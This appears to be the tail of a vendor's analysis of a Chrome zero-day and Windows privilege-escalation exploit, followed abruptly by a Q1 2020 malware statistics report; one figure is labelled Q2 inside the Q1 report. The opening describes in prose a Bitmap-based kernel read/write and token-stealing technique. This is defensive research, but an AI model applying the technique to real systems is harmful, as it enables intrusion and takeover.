Exploitation is performed by abusing Bitmaps. For successful exploitation a few Bitmaps need to be allocated next to each other, and their kernel addresses need to be known. To achieve this, the exploit uses two common kernel ASLR bypass techniques. For Windows 7 and Windows 10 build 10240 (Threshold 1) the Bitmap kernel addresses are leaked via the GdiSharedHandleTable technique: in older versions of the OS there is a special table available in the user level that holds the kernel addresses of all GDI objects present in the process. This particular technique was patched in Windows 10 build 14393 (Redstone 1), so for this version the exploit uses another common technique that abuses Accelerator Tables (patched in Redstone 2). It involves creating a Create Accelerator Table object, leaking its kernel address from the gSharedInfo HandleTable available in the user level, and then freeing the Accelerator Table object and allocating a Bitmap reusing the same memory address.

The whole exploitation process works as follows: the exploit creates three bitmaps located next to each other and their addresses are leaked. The exploit prepares Switch Window and uses a vulnerability in NtUserSetWindowLongPtr to set an address pointing near the end of the first Bitmap as Switch Window extra data. Bitmaps are represented by a SURFOBJ structure and the previously set address needs to be calculated in a way that will make the xxxPaintSwitchWindow function increment the sizlBitmap field of the SURFOBJ structure for the Bitmap allocated next to the first one. The sizlBitmap field indicates the bounds of the pixel data buffer and the incremented value will allow the use of the function SetBitmapBits() to perform an out-of-bounds write and overwrite the SURFOBJ of the third Bitmap object.

The pvScan0 field of the SURFOBJ structure is an address of the pixel data buffer, so the ability to overwrite it with an arbitrary pointer results in arbitrary read/write primitives via the functions GetBitmapBits()/SetBitmapBits(). The exploit uses these primitives to parse the EPROCESS structure and steal the system token. To get the kernel address of the EPROCESS structure, the exploit uses the function EnumDeviceDrivers. This function works according to its MSDN description and it provides a list of kernel addresses for currently loaded drivers. The first address in the list is the address of ntkrnl and to get the offset to the EPROCESS structure the exploit parses an executable in search for the exported PsInitialSystemProcess variable.

It’s worth noting that this technique still works in the latest versions of Windows (tested with Windows 10 19H1 build 18362). Stealing the system token is the most common post exploitation technique that we see in the majority of elevation of privilege exploits. After acquiring system privileges the exploit downloads and executes the actual malware.

Conclusions

It was particularly interesting for us to examine the Chrome exploit because it was the first Google Chrome in-the-wild zero-day encountered for a while. It was also interesting that it was used in combination with an elevation of privilege exploit that didn’t allow exploitation on the latest versions of Windows mostly due to the Win32k lockdown security feature of Google Chrome. With regards to privilege elevation, it was also interesting that we found another 1-day exploit for this vulnerability just one week after the patch, indicating how simple it is to exploit this vulnerability.

We would like to thank the Google Chrome and Microsoft security teams for fixing these vulnerabilities so quickly. Google was generous enough to offer a bounty for CVE-2019-13720. The reward was donated to charity and Google matched the donation.

These statistics are based on detection verdicts for Kaspersky products received from users who consented to providing statistical data.

Quarterly figures

According to Kaspersky Security Network,

• Kaspersky solutions blocked 726,536,269 attacks launched from online resources in 203 countries across the globe.
• A total of 442,039,230 unique URLs were recognized as malicious by Web Anti-Virus components.
• Attempted infections by malware designed to steal money via online access to bank accounts were logged on the computers of 249,748 unique users.
• Ransomware attacks were defeated on the computers of 178,922 unique users.
• Our File Anti-Virus detected 164,653,290 unique malicious and potentially unwanted objects.
• Kaspersky products for mobile devices detected:
  • 1,152,662 malicious installation packages
  • 42,115 installation packages for mobile banking trojans
  • 4339 installation packages for mobile ransomware trojans

Mobile threats

Quarter events

Q1 2020 will be remembered primarily for the coronavirus pandemic and cybercriminals’ exploitation of the topic. In particular, the creators of a new modification of the Ginp banking trojan renamed their malware Coronavirus Finder and then began offering it for €0.75 disguised as an app supposedly capable of detecting nearby people infected with COVID-19. Thus, the cybercriminals tried not only to scam users by exploiting hot topics, but to gain access to their bank card details. And, because the trojan remains on the device after stealing this data, the cybercriminals could intercept text messages containing two-factor authorization codes and use the stolen data without the victim’s knowledge.

Another interesting find this quarter was Cookiethief, a trojan designed to steal cookies from mobile browsers and the Facebook app. In the event of a successful attack, the malware provided its handler with access to the victim’s account, including the ability to perform various actions in their name, such as liking, reposting, etc. To prevent the service from spotting any abnormal activity in the hijacked profile, the trojan contains a proxy module through which the attackers issue commands.

The third piece of malware that caught our attention this reporting quarter was trojan-Dropper.AndroidOS.Shopper.a. It is designed to help cybercriminals to leave fake reviews and drive up ratings on Google Play. The attackers’ goals here are obvious: to increase the changes of their apps getting published and recommended, and to lull the vigilance of potential victims. Note that to rate apps and write reviews, the trojan uses Accessibility Services to gain full control over the other app: in this case, the official Google Play client.

Mobile threat statistics

In Q1 2020, Kaspersky’s mobile products and technologies detected 1,152,662 malicious installation packages, or 171,669 more than in the previous quarter.

Number of malicious installation packages detected, Q1 2019 – Q1 2020 (download)

Starting in Q2 2019, we have seen a steady rise in the number of mobile threats detected. Although it is too early to sound the alarm (2019 saw the lowest number of new threats in recent years), the trend is concerning.

Distribution of detected mobile apps by type

Distribution of newly detected mobile programs by type, Q1 2020 and Q4 2019 (download)

Of all the threats detected in Q1, half were unwanted adware apps (49.9%), their share having increased by 19 p.p. compared to the previous quarter. Most often, we detected members of the HiddenAd and Ewind families, with a combined slice of 40% of all detected adware threats, as well as the FakeAdBlocker family (12%).

Potentially unwanted RiskTool apps (28.24%) took second place; the share of this type of threat remained almost unchanged. The Smsreg (49% of all detected threats of this class), Agent (17%) and Dnotua (11%) families were the biggest contributors. Note that in Q1, the number of detected members of the Smsreg family increased by more than 50 percent.

In third place were Trojan-Dropper-type threats (9.72%). Although their share decreased by 7.63 p.p. against the previous quarter, droppers remain one of the most common classes of mobile threats. Ingopack emerged as Q1’s leading family with a massive 71% of all Trojan-Dropper threats, followed by Waponor (12%) and Hqwar (8%) far behind.

It is worth noting that mobile droppers are most often used for installing financial malware, although some financial threats can spread without their help. The share of these self-sufficient threats is quite substantial: in particular, the share of Trojan-Banker in Q1 increased by 2.1 p.p. to 3.65%.

Top 20 mobile malware programs

Note that this malware rankings do not include potentially dangerous or unwanted programs such as RiskTool or adware.

* Unique users attacked by this malware as a percentage of all users of Kaspersky mobile products that were attacked.

First place in our Top 20 as ever went to DangerousObject.Multi.Generic (44.89%), the verdict we use for malware detected using cloud technology. They are triggered when the antivirus databases still lack the data for detecting a malicious program, but the Kaspersky Security Network cloud already contains information about the object. This is basically how the latest malware is detected.

Second and third places were claimed by Trojan.AndroidOS.Boogr.gsh (9.09%) and DangerousObject.AndroidOS.GenericML (7,08%) respectively. These verdicts are assigned to files that are recognized as malicious by our machine-learning systems.

In fourth (Trojan-Downloader.AndroidOS.Necro.d, 4.52%) and tenth (Trojan-Downloader.AndroidOS.Necro.b, 1.94%) places are members of the Necro family, whose main task is to download and install modules from cybercriminal servers. Eighth-placed Trojan-Dropper.AndroidOS.Necro.z (2.30%) acts in a similar way, extracting from itself only those modules that it needs. As for Trojan.AndroidOS.Necro.a, which took ninth place (2.19%), cybercriminals assigned it a different task: the trojan follows advertising links and clicks banner ads in the victim’s name.

Trojan.AndroidOS.Hiddapp.ch (2.73%) claimed fifth spot. As soon as it runs, the malware hides its icon on the list of apps and continues to operate in the background. The trojan’s payload can be other trojan programs or adware apps.

Sixth place went to Trojan-Downloader.AndroidOS.Helper.a (2.45%), which is what Trojan-Downloader.AndroidOS.Necro usually delivers. Helper.a is tasked with downloading arbitrary code from the cybercriminals’ server and running it.

The verdict Trojan.AndroidOS.Handda.san (2.31%) in seventh place is a group of diverse trojans that hide their icons, gain Device Admin rights on the device, and use packers to evade detection.

Trojan-Banker.AndroidOS.Rotexy.e (1.43%) and Trojan-Dropper.AndroidOS.Penguin.e (1.42%) warrant a special mention. The former is the only banking trojan in the top 20 this past quarter. The Rotexy family is all of six years old, and its members have the functionality to steal bank card details and intercept two-factor payment authorization messages. In turn, the first member of the Penguin dropper family was only detected last July and had gained significant popularity by Q1 2020.

Geography of mobile threats

Map of infection attempts by mobile malware, Q1 2020 (download)

Top 10 countries by share of users attacked by mobile threats

* Excluded from the rankings are countries with relatively few users of Kaspersky mobile products (under 10,000).
** Unique users attacked as a percentage of all users of Kaspersky mobile products in the country.

In Q1 2020, the leader by share of attacked users was Iran (39.56%). Inhabitants of this country most frequently encountered adware apps from the Notifyer family, as well as Telegram clone apps. In second place was Algeria (21.44%), where adware apps were also distributed, but this time it was the HiddenAd and FakeAdBlocker families. Third place was taken by Bangladesh (18.58%), where half of the top 10 mobile threats consisted of adware in the HiddenAd family.

Mobile banking trojans

During the reporting period, we detected 42,115 installation packages of mobile banking trojans. This is the highest value in the past 18 months, and more than 2.5 times higher than in Q4 2019. The largest contributions to the statistics came from the Trojan-Banker.AndroidOS.Agent (42.79% of all installation packages detected), Trojan-Banker.AndroidOS.Wroba (16.61%), and Trojan-Banker.AndroidOS.Svpeng (13.66%) families.

Number of installation packages of mobile banking trojans detected by Kaspersky, Q1 2019 – Q1 2020 (download)

Top 10 mobile banking trojans

* Unique users attacked by this malware as a percentage of all users of Kaspersky mobile products who were attacked by banking threats.

First and second places in our top 10 were claimed by trojans targeted at Russian-speaking mobile users: Trojan-Banker.AndroidOS.Rotexy.e (13.11%) and Trojan-Banker.AndroidOS.Svpeng.q (10.25%).

Third, fourth, eighth, and ninth positions in the top 10 mobile banking threats went to members of the Asacub family. The cybercriminals behind this trojan stopped creating new samples, but its distribution channels were still active in Q1.

Geography of mobile banking threats, Q1 2020 (download)

Top 10 countries by share of users attacked by mobile banking trojans

* Excluded from the rankings are countries with relatively few users of Kaspersky mobile products (under 10,000).
** Unique users attacked by mobile banking trojans as a percentage of all users of Kaspersky mobile products in the country.

In Q1 2020, Japan (0.57%) had the largest share of users attacked by mobile bankers; the vast majority of cases involved Trojan-Banker.AndroidOS.Agent.eq.

In second place came Spain (0.48%), where in more than half of all cases, we detected malware from the Trojan-Banker.AndroidOS.Cebruser family, and another quarter of detections were members of the Trojan-Banker.AndroidOS.Ginp family.

Third place belonged to Italy (0.26%), where, as in Spain, the Trojan-Banker.AndroidOS.Cebruser family was the most widespread with almost two-thirds of detections.

It is worth saying a bit more about the Cebruser family. Its creators were among the first to exploit the coronavirus topic to spread the malware.

When it runs, the trojan immediately gets down to business: it requests access to Accessibility Services to obtain Device Admin permissions, and then tries to get hold of card details.

The malware is distributed under the Malware-as-a-Service model; its set of functions is standard for such threats, but with one interesting detail — the use of a step-counter for activation so as to bypass dynamic analysis tools (sandbox). Cebruser targets the mobile apps of banks in various countries and popular non-financial apps; its main weapons are phishing windows and interception of two-factor authorization. In addition, the malware can block the screen using a ransomware tool and intercept keystrokes on the virtual keyboard.

Mobile ransomware trojans

In Q2 2020, we detected 4,339 installation packages of mobile trojan ransomware, 1,067 fewer than in the previous quarter.

Number of installation packages of mobile ransomware trojans detected by Kaspersky, Q1 2019 – Q1 2020 (download)

Top 10 mobile ransomware trojans

* Unique users attacked by this malware as a percentage of all users of Kaspersky mobile products who were attacked by ransomware trojans.

Over the past few quarters, the number of ransomware trojans detected has been gradually decreasing; all the same, we continue to detect quite a few infection attempts by this class of threats. The main contributors to the statistics were the Svpeng, Congur, and Small ransomware families.

Geography of mobile ransomware trojans, Q1 2020 (download)

Top 10 countries by share of users attacked by mobile ransomware trojans:

* Excluded from the rankings are countries with relatively few users of Kaspersky mobile products (under 10,000).
** Unique users attacked by mobile ransomware trojans as a percentage of all users of Kaspersky mobile products in the country.

The leaders by number of users attacked by mobile ransomware trojans are Syria (0.28%), the United States (0.26%) and Kazakhstan (0.25%)

Attacks on Apple macOS

In Q1 2020, we detected not only new versions of common threats, but one new backdoor family, whose first member was Backdoor.OSX.Capip.a. The malware’s operating principle is simple: it calls the C&C for a shell script, which it then downloads and executes.

Top 20 threats to macOS

* Unique users attacked by this malware as a percentage of all users of Kaspersky security solutions for macOS who were attacked

The top 20 threats for macOS did not undergo any major changes in Q1 2020. The adware trojan Shlayer.a (19.27%) still tops the leaderboard, followed by objects that Shlayer itself loads into the infected system, in particular, numerous adware apps from the Pirrit family.

Interestingly, the unwanted program Hoax.OSX.SuperClean.gen landed in 12th place on the list. Like other Hoax-type programs, it is distributed under the guise of a system cleanup app, and immediately after installation, scares the user with problems purportedly found in the system, such as gigabytes of trash on the hard drive.

Threat geography

* Excluded from the rankings are countries with relatively few users of Kaspersky security solutions for macOS (under 5,000)
** Unique users who encountered macOS threats as a percentage of all users of Kaspersky security solutions for macOS in the country.

The leading countries, as in previous quarters, were Spain (7.14%), France (6.94%) and Italy (5.94%). The main contributors to the number of detections in these countries were the familiar Shlayer trojan and adware apps from the Pirrit family.

IoT attacks

IoT threat statistics

In Q1 2020, the share of IP addresses from which attempts were made to attack Kaspersky telnet traps increased significantly. Their share amounted to 81.1% of all IP addresses from which attacks were carried out, while SSH traps accounted for slightly less than 19%.

Distribution of attacked services by number of unique IP addresses of devices that carried out attacks, Q1 2020

It was a similar situation with control sessions: attackers often controlled infected traps via telnet.

Distribution of cybercriminal working sessions with Kaspersky traps, Q1 2020

Telnet-based attacks

Geography of device IP addresses where attacks at Kaspersky telnet traps originated, Q1 2020 (download)

Top 10 countries by location of devices from which attacks were carried out on Kaspersky telnet traps.

 
For several quarters in a row, the leading country by number of attacking bots has been China: in Q1 2020 its share stood at 13.04%. As before, it is followed by Egypt (11.65%) and Brazil (11.33%).

SSH-based attacks

Geography of device IP addresses where attacks at Kaspersky SSH traps originated, Q1 2020 (download)

Top 10 countries by location of devices from which attacks were made on Kaspersky SSH traps.

In Q1 2020, China (14.87%), Vietnam (11.58%) and the US (7.03%) made up the top three countries by number of unique IPs from which attacks on SSH traps originated.

Threats loaded into honeypots

* Share of malware type in the total amount of malware downloaded to IoT devices following a successful attack.

In Q1 2020, attackers most often downloaded the minimalistic trojan loader NyaDrop (64.35%), whose executable file does not exceed 500 KB. Threats from the Mirai family traditionally dominated: its members claimed four places in our top 10. These malicious programs will continue to rule the world of IoT threats for a long time to come, at least until the appearance of a more advanced (and publicly available) DDoS bot.

Financial threats

Financial threat statistics

In Q1 2020, Kaspersky solutions blocked attempts to launch one or several types of malware designed to steal money from bank accounts on the computers of 249,748 users.

Number of unique users attacked by financial malware, Q1 2020 (download)

Attack geography

To assess and compare the risk of being infected by banking trojans and ATM/POS malware in various countries, for each country we calculated the share of users of Kaspersky products that faced this threat during the reporting period out of all users of our products in that country.

Geography of banking malware attacks, Q1 2020 (download)

Top 10 countries by share of attacked users

* Excluded are countries with relatively few Kaspersky product users (under 10,000).
** Unique users whose computers were targeted by financial malware as a percentage of all unique users of Kaspersky products in the country.

Top 10 banking malware families

** Unique users attacked by this malware family as a percentage of all users attacked by financial malware.

Ransomware programs

Quarterly highlights

Ransomware attacks on organizations, as well as on city and municipal networks, did not ease off. Given how lucrative they are for cybercriminals, there is no reason why this trend of several years should cease.

More and more ransomware is starting to supplement encryption with data theft. To date, this tactic has been adopted by distributors of ransomware families, including Maze, REvil/Sodinokibi, DoppelPaymer and JSWorm/Nemty/Nefilim. If the victim refuses to pay the ransom for decryption (because, say, the data was recovered from a backup copy), the attackers threaten to put the stolen confidential information in the public domain. Such threats are sometimes empty, but not always: the authors of several ransomware programs have set up websites that do indeed publish the data of victim organizations.

Number of new modifications

In Q1 2020, we detected five new ransomware families and 5,225 new modifications of these malware programs.

Number of new ransomware modifications detected, Q1 2019 – Q1 2020 (download)

Number of users attacked by ransomware trojans

In Q1 2020, Kaspersky products and technologies protected 178,922 users from ransomware attacks.

Number of unique users attacked by ransomware trojans, Q1 2020 (download)

Attack geography

Geography of attacks by ransomware trojans, Q1 2020 (download)

Top 10 countries attacked by ransomware trojans

* Excluded are countries with relatively few Kaspersky users (under 50,000).
** Unique users whose computers were attacked by ransomware trojans as a percentage of all unique users of Kaspersky products in the country.

Top 10 most common families of ransomware trojans

* Unique Kaspersky users attacked by the specified family of ransomware trojans as a percentage of all users attacked by ransomware trojans.

Miners

Number of new modifications

In Q1 2020, Kaspersky solutions detected 192,036 new miner modifications.

Number of new miner modifications, Q1 2020 (download)

Number of users attacked by miners

In Q1, we detected attacks using miners on the computers of 518,857 unique users of Kaspersky Lab products worldwide.

Number of unique users attacked by miners, Q1 2020 (download)

Attack geography

Geography of miner attacks, Q1 2020 (download)

Top 10 countries attacked by miners

* Excluded are countries with relatively few users of Kaspersky products (under 50,000).
** Unique users whose computers were attacked by miners as a percentage of all unique users of Kaspersky products in the country.

Vulnerable applications used by cybercriminals during cyberattacks

We already noted that Microsoft Office vulnerabilities are the most common ones. Q1 2020 was no exception: the share of exploits for these vulnerabilities grew to 74.83%. The most popular vulnerability in Microsoft Office was CVE-2017-11882, which is related to a stack overflow error in the Equation Editor component. Hard on its heels was CVE-2017-8570, which is used to embed a malicious script in an OLE object inside an Office document. Several other vulnerabilities, such as CVE-2018-0802 and CVE-2017-8759, were also popular with attackers. In the absence of security updates for Microsoft Office, these vulnerabilities are successfully exploited and the user’s system becomes infected.

In second place were exploits for vulnerabilities in Internet browsers (11.06%). In Q1, cybercriminals attacked a whole host of browsers, including Microsoft Internet Explorer, Google Chrome, and Mozilla Firefox. What’s more, some of the vulnerabilities were used in APT attacks, such as CVE-2020-0674, which is associated with the incorrect handling of objects in memory in an outdated version of the JScript scripting engine in Internet Explorer, leading to code execution. Another example is the previously identified CVE-2019-17026, a data type mismatch vulnerability in Mozilla Firefox’s JIT compiler, which also leads to remote code execution. In the event of a successful attack, both browser exploits cause a malware infection. The researchers also detected a targeted attack against Google Chrome exploiting the RCE vulnerability CVE-2020-6418 in the JavaScript engine; in addition, the dangerous RCE vulnerability CVE-2020-0767 was detected in a component of the ChakraCore scripting engine used by Microsoft Edge. Although modern browsers have their own protection mechanisms, cybercriminals are forever finding ways around them, very often using chains of exploits to do so. Therefore, it is vital to keep the operating system and software up to date at all times.

Distribution of exploits used in attacks by type of application attacked, Q1 2020 (download)

This quarter, a wide range of critical vulnerabilities were detected in operating systems and their components.

• CVE-2020-0601 is a vulnerability that exploits an error in the core cryptographic library of Windows, in a certificate validation algorithm that uses elliptic curves. This vulnerability enables the use of fake certificates that the system recognizes as legitimate.
• CVE-2020-0729 is a vulnerability in processing LNK files in Windows, which allows remote code execution if the user opens a malicious shortcut.
• CVE-2020-0688 is the result of a default configuration error in Microsoft Exchange Server, whereby the same cryptographic keys are used to sign and encrypt serialized ASP.NET ViewState data, enabling attackers to execute their own code on the server side with system rights.

Various network attacks on system services and network protocols were as popular as ever with attackers. We continue to detect attempts at exploiting vulnerabilities in the SMB protocol using EternalBlue, EternalRomance and similar sets of exploits. In Q1 2020, the new vulnerability CVE-2020-0796 (SMBGhost) was detected in the SMBv3 network protocol, leading to remote code execution, in which regard the attacker does not even need to know the username/password combination (since the error occurs before the authentication stage); however, it is present only in Windows 10. In Remote Desktop Gateway there were found two critical vulnerabilities (CVE-2020-0609 and CVE-2020-0610) enabling an unauthorized user to execute remote code in the target system. In addition, there were more frequent attempts to brute-force passwords to Remote Desktop Services and Microsoft SQL Server via the SMB protocol as well.

Attacks via web resources

The statistics in this section are based on Web Anti-Virus, which protects users when malicious objects are downloaded from malicious/infected web pages. Malicious websites are specially created by cybercriminals; web resources with user-created content (for example, forums), as well as hacked legitimate resources, can be infected.

Countries that are sources of web-based attacks: Top 10

The following statistics show the distribution by country of the sources of Internet attacks blocked by Kaspersky products on user computers (web pages with redirects to exploits, sites containing exploits and other malicious programs, botnet C&C centers, etc.). Any unique host could be the source of one or more web-based attacks.

To determine the geographical source of web-based attacks, domain names are matched against their actual domain IP addresses, and then the geographical location of a specific IP address (GEOIP) is established.

In Q1 2020, Kaspersky solutions defeated 726,536,269 attacks launched from online resources located in 203 countries worldwide. As many as 442,039,230 unique URLs were recognized as malicious by Web Anti-Virus components.

Distribution of web-based attack sources by country, Q1 2020 (download)

Countries where users faced the greatest risk of online infection

To assess the risk of online infection faced by users in different countries, for each country, we calculated the percentage of Kaspersky users on whose computers Web Anti-Virus was triggered during the quarter. The resulting data provides an indication of the aggressiveness of the environment in which computers operate in different countries.

This rating only includes attacks by malicious programs that fall under the Malware class; it does not include Web Anti-Virus detections of potentially dangerous or unwanted programs such as RiskTool or adware.

* Excluded are countries with relatively few Kaspersky users (under 10,000).
** Unique users targeted by Malware-class attacks as a percentage of all unique users of Kaspersky products in the country.

These statistics are based on detection verdicts returned by the Web Anti-Virus module that were received from users of Kaspersky products who consented to providing statistical data.

On average, 6.56% of Internet user’ computers worldwide experienced at least one Malware-class attack.

Geography of malicious web-based attacks, Q1 2020 (download)

Local threats

In this section, we analyze statistical data obtained from the OAS and ODS modules in Kaspersky products. It takes into account malicious programs that were found directly on users’ computers or removable media connected to computers (flash drives, camera memory cards, phones, external hard drives), or which initially made their way onto the computer in non-open form (for example, programs in complex installers, encrypted files, etc.).

In Q1 2020, our File Anti-Virus registered 164,653,290 malicious and potentially unwanted objects. 

Countries where users faced the highest risk of local infection

For each country, we calculated the percentage of Kaspersky product users on whose computers File Anti-Virus was triggered during the reporting period. These statistics reflect the level of personal-computer infection in different countries.

Note that this rating only includes attacks by malicious programs that fall under the Malware class; it does not include File Anti-Virus triggers in response to potentially dangerous or unwanted programs, such as RiskTool or adware.

* Excluded are countries with relatively few Kaspersky users (under 10,000).
** Unique users on whose computers Malware-class local threats were blocked as a percentage of all unique users of Kaspersky products in the country.

Geography of local infection attempts, Q1 2020 (download)

Overall, 19.16% of user computers globally faced at least one Malware-class local threat during Q1.